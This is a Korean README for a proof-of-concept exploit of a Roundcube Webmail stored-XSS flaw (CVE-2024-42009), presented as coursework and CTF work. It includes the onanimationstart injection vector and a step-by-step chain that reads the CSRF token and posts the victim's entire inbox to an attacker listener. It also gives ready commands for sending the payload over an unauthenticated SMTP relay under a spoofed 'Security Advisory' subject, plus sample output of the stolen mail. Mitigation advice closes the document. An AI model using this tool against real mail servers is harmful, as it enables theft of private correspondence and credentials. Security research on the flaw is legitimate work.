
# Roundcube Webmail ≤1.6.6용 저장형 XSS 익스플로잇 (CVE-2024-42009) CSS 애니메이션 이벤트 핸들러를 통한 제로클릭 이메일 탈취 기능을 갖춘 Roundcube Webmail ≤1.6.6용 저장형 XSS 익스플로잇입니다. SMTP 전송 스크립트와 CORS 지원 리스너를 포함하며, CTF 및 승인된 보안 테스트용으로 제작되었습니다.
공인된 보안 테스트, CTF 환경 및 교육 연구 목적으로만 사용하십시오.
소유하지 않았거나 서면 허가를 받지 않은 시스템에 이 도구를 사용하는 것은 영국의 Computer Misuse Act 1990, 미국의 CFAA 및 전 세계의 동등한 법률에 따라 불법입니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2024-42009 |
| 영향을 받는 소프트웨어 | Roundcube Webmail ≤ 1.6.6 |
| 패치 버전 | 1.6.7 / 1.6.8 |
| CVSS v3.1 점수 | 8.8 (높음) |
| CVSS 벡터 | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — 웹 페이지 생성 중 입력값의 부적절한 중화 (XSS) |
| 공격 유형 | 저장형 XSS → 제로클릭 이메일 탈취 |
| 필요한 인증 | 없음 (SMTP 전송); 낮음 (피해자가 이메일을 열어야 함) |
Roundcube 1.6.6의 HTML 정화기는 잘못 구성된 <body> 태그 속성 내 CSS 애니메이션 키프레임에 첨부된 JavaScript 이벤트 핸들러를 제거하지 못합니다.
주입 벡터:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">
피해자가 인증된 Roundcube 세션에서 이메일을 열면 CSS 애니메이션이 즉시 실행됩니다. onanimationstart 핸들러는 세션의 request_token을 포함한 rcmail JavaScript 객체에 대한 전체 액세스 권한으로 실행됩니다.
악용 체인:
1. 공격자는 인증되지 않은 SMTP 릴레이(포트 25)를 통해 피해자에게 악성 HTML 이메일을 전송합니다.
2. 피해자가 Roundcube에서 이메일을 엽니다 — 애니메이션이 실행되고 JS가 실행됩니다 (클릭 0회 필요).
3. JS가 rcmail.env.request_token(세션의 유효한 CSRF 토큰)을 읽습니다.
4. JS가 Roundcube 내부 메일 API를 통해 모든 받은 편지함 UID를 순회합니다.
5. 각 메시지를 가져와 그 내용을 수집합니다.
6. 모든 받은 편지함 데이터가 JSON으로 공격자의 HTTP 리스너에 POST됩니다.
7. 공격자는 탈취한 이메일을 읽습니다 — 자격 증명, 세션 데이터 또는 민감한 통신이 포함될 수 있습니다.
cve-2024-42009-roundcube-xss/
├── exploit.py # Sends the XSS payload via unauthenticated SMTP
├── listener.py # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html # Standalone XSS payload for manual inspection or Burp delivery
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
데이터 수신 시 출력:
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19
--- Email 1 ---
UID : 1
From : [email protected]
Subject : SSH Access Credentials
Body : Your credentials are: ...
전체 JSON 덤프는 exfil_dump.json 파일로 자동 저장됩니다.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Security Advisory - Action Required"
이메일이 Roundcube ≤ 1.6.6에서 열리면 리스너가 탈취된 받은 편지함 내용을 출력합니다.
Roundcube의 HTML 정화기는 수신 이메일 HTML을 렌더링하기 전에 위험한 속성을 제거합니다. 버전 ≤ 1.6.6에서 정화기는 onclick, onerror 및 이와 유사한 핸들러는 올바르게 제거하지만 CSS 애니메이션 이벤트(onanimationstart, onanimationend, onanimationiteration)의 이벤트 핸들러는 제거하지 않습니다.
CSS 애니메이션은 렌더링의 일부로 실행되므로(사용자 상호작용이 아님) 링크 클릭이나 메시지 열기 외의 사용자 조작 없이 이메일이 열리는 순간 핸들러가 실행됩니다.
rcmail JavaScript 객체는 모든 인증된 Roundcube 세션에서 전역적으로 접근 가능합니다. 이 객체는 세션의 CSRF 토큰인 rcmail.env.request_token을 노출합니다. Roundcube 자체 메일 API 엔드포인트(?_task=mail&_action=list, ?_action=show)와 결합하면 페이로드는 추가 인증 없이 전체 받은 편지함을 읽을 수 있습니다.
| 버전 | 상태 |
|---|---|
| ≤ 1.6.6 | 취약 |
| 1.6.7 | 패치됨 |
| 1.6.8 | 패치됨 (권장) |
| 1.5.x LTS | 공급업체 권고 확인 |
| 조치 | 세부 정보 |
|---|---|
| 업그레이드 | Roundcube 1.6.8 이상이 이 클래스의 XSS를 패치합니다. |
| CSP 헤더 | 웹메일 vhost에 Content-Security-Policy: default-src 'self'; script-src 'self'를 배포하여 인라인 JS 실행을 차단하십시오. |
| SMTP 릴레이 | 포트 25에서 인증되지 않은 릴레이를 비활성화하고 모든 내부 전송에 AUTH를 요구하십시오. |
이 PoC는 Coventry University 컴퓨터 보안 석사 과정(2025–2026)의 윤리적 해킹 및 침투 테스트 모듈에서 Boot-to-Root CTF 침투 테스트 평가의 일환으로 개발 및 테스트되었습니다. 모든 테스트는 명시적인 서면 승인을 받은 격리된 VMware 실험실 환경에서 수행되었습니다.
저자: Segun Akinsoyinu
포트폴리오: segunakinsoyinu.github.io/MyPortfolio
이 코드는 교육 및 공인된 보안 연구 목적으로만 공개됩니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다. 이 도구를 사용하기 전에 대상 시스템을 테스트할 수 있는 명시적인 서면 승인을 받았는지 확인하십시오.
| 인자 | 설명 |
|---|
--smtp | 대상 SMTP 서버의 IP 또는 호스트명 |
--port | SMTP 포트 (기본값: 25) |
--from | 발신자 주소 (릴레이가 허용하는 모든 값) |
--to | 피해자의 이메일 주소 |
--attacker | 본인의 IP — 데이터 탈취 수집기로 페이로드에 포함됨 |
--lport | 본인의 리스너 포트 (기본값: 8080) |
--subject | 이메일 제목 줄 |